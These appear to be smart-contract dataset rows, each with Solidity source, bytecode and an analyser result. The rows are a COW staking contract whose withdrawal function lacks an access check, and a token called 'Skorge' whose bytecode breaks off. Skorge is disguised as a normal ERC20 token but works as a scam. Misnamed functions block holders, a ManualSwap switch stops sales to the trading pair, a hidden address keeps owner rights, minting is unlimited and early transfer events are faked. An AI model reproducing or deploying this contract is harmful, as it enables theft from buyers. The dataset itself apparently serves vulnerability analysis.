*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IPowerUser {
function usePower(uint256 power) external returns (uint256);
event PowerUsed(address indexed master, uint256 power, string purpose);
}
/**
* @dev Fractal illusion of the ideal stable for the best of cows.
*
* Calmness, deep relaxation, concentration and absolute harmony. Cows just love this place.
* There are rumours, that the place where the stable was built is in fact a source of the power.
* I personally believe that this stable would be perfect for cows to give a lot of amazing milk!
*
* Even mathematics works here differently - cows are not counted like in habitual
* world (like: 1 cow, 2 cows, 3 cows...), but instead they are somehow measured in strange
* unusual large numbers called here "units". Maybe this is just another strange but a sweet dream?..
*/
contract Stable is Ownable {
using SafeMath for uint256;
// Stakeshot contains snapshot aggregated staking history.
struct Stakeshot {
uint256 _block; // number of block stakeshooted
uint256 _cows; // amount of cows in the stable just after the "shoot" moment [units]
uint256 _power; // amount of currently accumulated power available in this block
}
// Precalculate TOTAL_UNITS used for conversion between tokens and units.
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_TOKENS = 21 * 10**6;
uint256 private constant INITIAL_SUPPLY = INITIAL_TOKENS * 10**9;
uint256 private constant TOTAL_UNITS = MAX_UINT256 - (MAX_UINT256 % INITIAL_SUPPLY);
uint256 private constant COWS_TO_POWER_DELIMETER = 10**27;
// COW token is hardcoded into the stable.
IERC20 private _tokenCOW = IERC20(0xf0be50ED0620E0Ba60CA7FC968eD14762e0A5Dd3);
// Amount of cows by masters and total amount of cows in the stable.
mapping(address => uint256) private _cows; // [units]
uint256 private _totalCows; // [units]
// Most actual stakeshots by masters.
mapping(address => Stakeshot) private _stakeshots;
uint256 private _totalPower;
event CowsArrived(address indexed master, uint256 cows);
event CowsLeaved(address indexed master, uint256 cows);
function driveCowsInto(uint256 cows) external {
address master = msg.sender;
// Transport provided cows to the stable
bool ok = _tokenCOW.transferFrom(master, address(this), cows);
require(ok, "Stable: unable to transport cows to the stable");
// Register each arrived cow
uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply());
uint256 units = cows.mul(unitsPerCow);
_cows[master] = _cows[master].add(units);
_totalCows = _totalCows.add(units);
// Recalculate power collected by the master
_updateStakeshot(master);
// Emit event to the logs so can be effectively used later
emit CowsArrived(master, cows);
}
function driveCowsOut(address master, uint256 cows) external {
// Transport requested cows from the stable
bool ok = _tokenCOW.transfer(master, cows);
require(ok, "Stable: unable to transport cows from the stable");
// Unregister each leaving cow
uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply());
uint256 units = cows.mul(unitsPerCow);
_cows[master] = _cows[master].sub(units);
_totalCows = _totalCows.sub(units);
// Recalculate power collected by the master
_updateStakeshot(master);
// Emit event to the logs so can be effectively used later
emit CowsLeaved(master, cows);
}
function token() public view returns (IERC20) {
return _tokenCOW;
}
function cows(address master) public view returns (uint256) {
uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply());
return _cows[master].div(unitsPerCow);
}
function totalCows() public view returns (uint256) {
uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply());
return _totalCows.div(unitsPerCow);
}
function power(address master) public view returns (uint256, uint256) {
return (_stakeshots[master]._block, _stakeshots[master]._power);
}
function totalPower() public view returns (uint256) {
return _totalPower;
}
function stakeshot(address master) public view returns (uint256, uint256, uint256) {
uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply());
Stakeshot storage s = _stakeshots[master];
return (s._block, s._cows.div(unitsPerCow), s._power);
}
function _updateStakeshot(address master) private {
Stakeshot storage s = _stakeshots[master];
uint256 duration = block.number.sub(s._block);
if (s._block > 0 && duration > 0) {
// Recalculate collected power
uint256 productivity = s._cows.div(COWS_TO_POWER_DELIMETER);
uint256 powerGained = productivity.mul(duration);
s._power = s._power.add(powerGained);
_totalPower = _totalPower.add(powerGained);
}
s._block = block.number;
s._cows = _cows[master];
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80637efff43b116100715780637efff43b146101845780638da5cb5b146101bc578063db0ed29c146101e0578063db3ad22c146101e8578063f2fde38b146101f0578063fc0c546a14610216576100a9565b80630f4991a4146100ae57806311129f56146100cd57806320285488146100f9578063503371a51461013d578063715018a61461017c575b600080fd5b6100cb600480360360208110156100c457600080fd5b503561021e565b005b6100cb600480360360408110156100e357600080fd5b506001600160a01b038135169060200135610421565b61011f6004803603602081101561010f57600080fd5b50356001600160a01b03166105e3565b60408051938452602084019290925282820152519081900360600190f35b6101636004803603602081101561015357600080fd5b50356001600160a01b031661067b565b6040805192835260208301919091528051918290030190f35b6100cb61069e565b6101aa6004803603602081101561019a57600080fd5b50356001600160a01b0316610752565b60408051918252519081900360200190f35b6101c46107d3565b604080516001600160a01b039092168252519081900360200190f35b6101aa6107e2565b6101aa61084c565b6100cb6004803603602081101561020657600080fd5b50356001600160a01b0316610852565b6101c461095c565b600154604080516323b872dd60e01b8152336004820181905230602483015260448201859052915191926000926001600160a01b03909116916323b872dd91606480830192602092919082900301818787803b15801561027d57600080fd5b505af1158015610291573d6000803e3d6000fd5b505050506040513d60208110156102a757600080fd5b50519050806102e75760405162461bcd60e51b815260040180806020018281038252602e815260200180610cdf602e913960400191505060405180910390fd5b6000610375600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561033a57600080fd5b505afa15801561034e573d6000803e3d6000fd5b505050506040513d602081101561036457600080fd5b5051661c7327917bffff199061096b565b9050600061038385836109b6565b6001600160a01b0385166000908152600260205260409020549091506103a99082610a0f565b6001600160a01b0385166000908152600260205260409020556003546103cf9082610a0f565b6003556103db84610a69565b6040805186815290516001600160a01b038616917f0ba8d52235b2b17b6c698c8e1d1ed47599c1b2f4ebe518c38a7a6e84fae3a38b919081900360200190a25050505050565b6001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151600093929092169163a9059cbb9160448082019260209290919082900301818787803b15801561047a57600080fd5b505af115801561048e573d6000803e3d6000fd5b505050506040513d60208110156104a457600080fd5b50519050806104e45760405162461bcd60e51b8152600401808060200182810382526030815260200180610c8e6030913960400191505060405180910390fd5b6000610537600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561033a57600080fd5b9050600061054584836109b6565b6001600160a01b03861660009081526002602052604090205490915061056b9082610b25565b6001600160a01b0386166000908152600260205260409020556003546105919082610b25565b60035561059d85610a69565b6040805185815290516001600160a01b038716917f098174b918d43e632123b0df452fa2c7023ce1d5ab00a785cf85f7392f325932919081900360200190a25050505050565b60008060008061063a600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561033a57600080fd5b6001600160a01b0386166000908152600460205260409020805460018201549293509091610668908461096b565b6002909201549097919650945092505050565b6001600160a01b0316600090815260046020526040902080546002909101549091565b6106a6610b67565b6000546001600160a01b03908116911614610708576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000806107a6600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561033a57600080fd5b6001600160a01b0384166000908152600260205260409020549091506107cc908261096b565b9392505050565b6000546001600160a01b031690565b600080610836600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561033a57600080fd5b600354909150610846908261096b565b91505090565b60055490565b61085a610b67565b6000546001600160a01b039081169116146108bc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109015760405162461bcd60e51b8152600401808060200182810382526026815260200180610c686026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031690565b60006109ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610b6b565b90505b92915050565b6000826109c5575060006109b0565b828202828482816109d257fe5b04146109ad5760405162461bcd60e51b8152600401808060200182810382526021815260200180610cbe6021913960400191505060405180910390fd5b6000828201838110156109ad576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604081208054909190610a91904390610b25565b825490915015801590610aa45750600081115b15610aff576001820154600090610ac7906b033b2e3c9fd0803ce800000061096b565b90506000610ad582846109b6565b6002850154909150610ae79082610a0f565b6002850155600554610af99082610a0f565b60055550505b504381556001600160a01b03909116600090815260026020526040902054600190910155565b60006109ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c0d565b3390565b60008183610bf75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610bbc578181015183820152602001610ba4565b50505050905090810190601f168015610be95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610c0357fe5b0495945050505050565b60008184841115610c5f5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610bbc578181015183820152602001610ba4565b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373537461626c653a20756e61626c6520746f207472616e73706f727420636f77732066726f6d2074686520737461626c65536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77537461626c653a20756e61626c6520746f207472616e73706f727420636f777320746f2074686520737461626c65a26469706673582212202f3bb8196193c62ff1f2daae9bde62c2035f31919713e5989c49242223f9cac264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,908 |
0x5d05ac3c9e00017706f0cc736382c84003806671
|
/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
/*
https://skorgekey.com/
May only the elites prosper
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract Skorge is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 1000000*10**18;
string public _name = "Skorge";
string public _symbol= "Skorge";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0xeE5960464E4a3A2b0BA1333544d242F59B3095fA);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function ExcludeFromFees(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function BlackListBot(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function ManualSwap() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function EnableTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function AirdropTokens(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x6080604052600436106101395760003560e01c80636ebcf607116100ab578063a1780c181161006f578063a1780c1814610339578063a6f9dae11461034e578063a9059cbb1461036e578063b09f12661461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b80636ebcf607146102a257806370a08231146102c25780638916d829146102e25780638da5cb5b1461030257806395d89b411461032457610140565b806321b0033a116100fd57806321b0033a146101f657806323b872dd14610216578063313ce567146102365780633a3209f1146102585780633eaaf86b146102785780636e4ee8111461028d57610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806318160ddd146101ca5780631d97b7cd146101df57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101656104a4565b3480156101eb57600080fd5b506101f46104aa565b005b34801561020257600080fd5b506101f4610211366004611174565b61082f565b34801561022257600080fd5b506101bd610231366004611109565b6108d1565b34801561024257600080fd5b5061024b610961565b6040516101729190611575565b34801561026457600080fd5b506101f4610273366004611174565b610966565b34801561028457600080fd5b50610165610a08565b34801561029957600080fd5b506101f4610a0e565b3480156102ae57600080fd5b506101656102bd366004611092565b610a50565b3480156102ce57600080fd5b506101656102dd366004611092565b610a62565b3480156102ee57600080fd5b506101f46102fd366004611149565b610a81565b34801561030e57600080fd5b50610317610b6d565b6040516101729190611282565b34801561033057600080fd5b50610190610b7c565b34801561034557600080fd5b506101f4610b8b565b34801561035a57600080fd5b506101f4610369366004611092565b610be5565b34801561037a57600080fd5b506101bd610389366004611149565b610c33565b34801561039a57600080fd5b50610190610c47565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b60065490565b600c546001600160a01b03163314806104cd5750600d546001600160a01b031633145b6104d657600080fd5b600954610100900460ff16156105075760405162461bcd60e51b81526004016104fe9061153e565b60405180910390fd5b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d916105689130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105a157600080fd5b505afa1580156105b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d991906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561062157600080fd5b505afa158015610635573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065991906110b5565b6040518363ffffffff1660e01b8152600401610676929190611296565b602060405180830381600087803b15801561069057600080fd5b505af11580156106a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c891906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d71947306106fe81610a62565b600c546040516001600160e01b031960e087901b16815261073493929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b15801561074d57600080fd5b505af1158015610761573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107869190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b3926107d992620100009091041690600019906004016112b0565b602060405180830381600087803b1580156107f357600080fd5b505af1158015610807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082b9190611235565b5050565b600c546001600160a01b03163314806108525750600d546001600160a01b031633145b61085b57600080fd5b60005b815181101561082b5760016003600084848151811061088d57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108c9816115d6565b91505061085e565b60006108de848484610dc5565b6001600160a01b0384166000908152600160205260408120816108ff610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156109425760405162461bcd60e51b81526004016104fe9061146d565b6109568561094e610d0d565b858403610d11565b506001949350505050565b601290565b600c546001600160a01b03163314806109895750600d546001600160a01b031633145b61099257600080fd5b60005b815181101561082b576000600360008484815181106109c457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a00816115d6565b915050610995565b60065481565b600c546001600160a01b0316331480610a315750600d546001600160a01b031633145b610a3a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b0316331480610aa45750600d546001600160a01b031633145b610aad57600080fd5b6001600160a01b038216610ad35760405162461bcd60e51b81526004016104fe90611436565b610adf60008383611082565b8060066000828254610af19190611583565b90915550506001600160a01b03821660009081526020819052604081208054839290610b1e908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b6190859061130f565b60405180910390a35050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b0316331480610bae5750600d546001600160a01b031633145b610bb757600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b600c546001600160a01b0316331480610c085750600d546001600160a01b031633145b610c1157600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610c40610d0d565b8484610dc5565b60088054610c549061159b565b80601f0160208091040260200160405190810160405280929190818152602001828054610c809061159b565b8015610ccd5780601f10610ca257610100808354040283529160200191610ccd565b820191906000526020600020905b815481529060010190602001808311610cb057829003601f168201915b505050505081565b60078054610c549061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016104fe906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016104fe906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016104fe906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016104fe9061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461